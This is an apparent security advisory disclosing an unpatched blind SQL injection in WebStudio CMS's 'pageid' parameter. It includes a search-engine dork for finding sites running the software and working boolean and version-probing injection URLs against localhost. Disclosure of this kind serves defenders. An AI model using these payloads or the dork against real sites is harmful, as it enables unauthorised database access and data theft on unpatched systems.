WebStudio CMS 'pageid' Blind SQL Injection

[glafkos () astalavista com]

Application:  WebStudio CMS

Vendor Name: BDigital Media Ltd

Vendors Url:  http://www.bdigital.biz

Bug Type:     WebStudio CMS (pageid) Blind SQL Injection Vulnerability

Exploitation: Remote

Severity: Critical

Solution Status: Unpatched 

Introduction: WebStudio CMS is a modular Web Content Management System solution.

Google Dork:  "Powered by WebStudio"


Description:

WebStudio CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data 
before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent 
vulnerabilities in the underlying database.

PoC:

http://localhost/index.php?pageid=1+and+1=1 ( TRUE  )

http://localhost/index.php?pageid=1+and+1=2 ( FALSE )

Exploit:
 
http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=3 ( TRUE  )

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=4 ( FALSE )

http://localhost/index.php?pageid=1+and+substring(@@version,1,1)=5 ( FALSE )

Solution:

There was no vendor-supplied solution at the time of entry.

Edit source code manually to ensure user-supplied input is correctly sanitised.


Credits:

Charalambous Glafkos
Email:  glafkos (at) astalavista (dot) com
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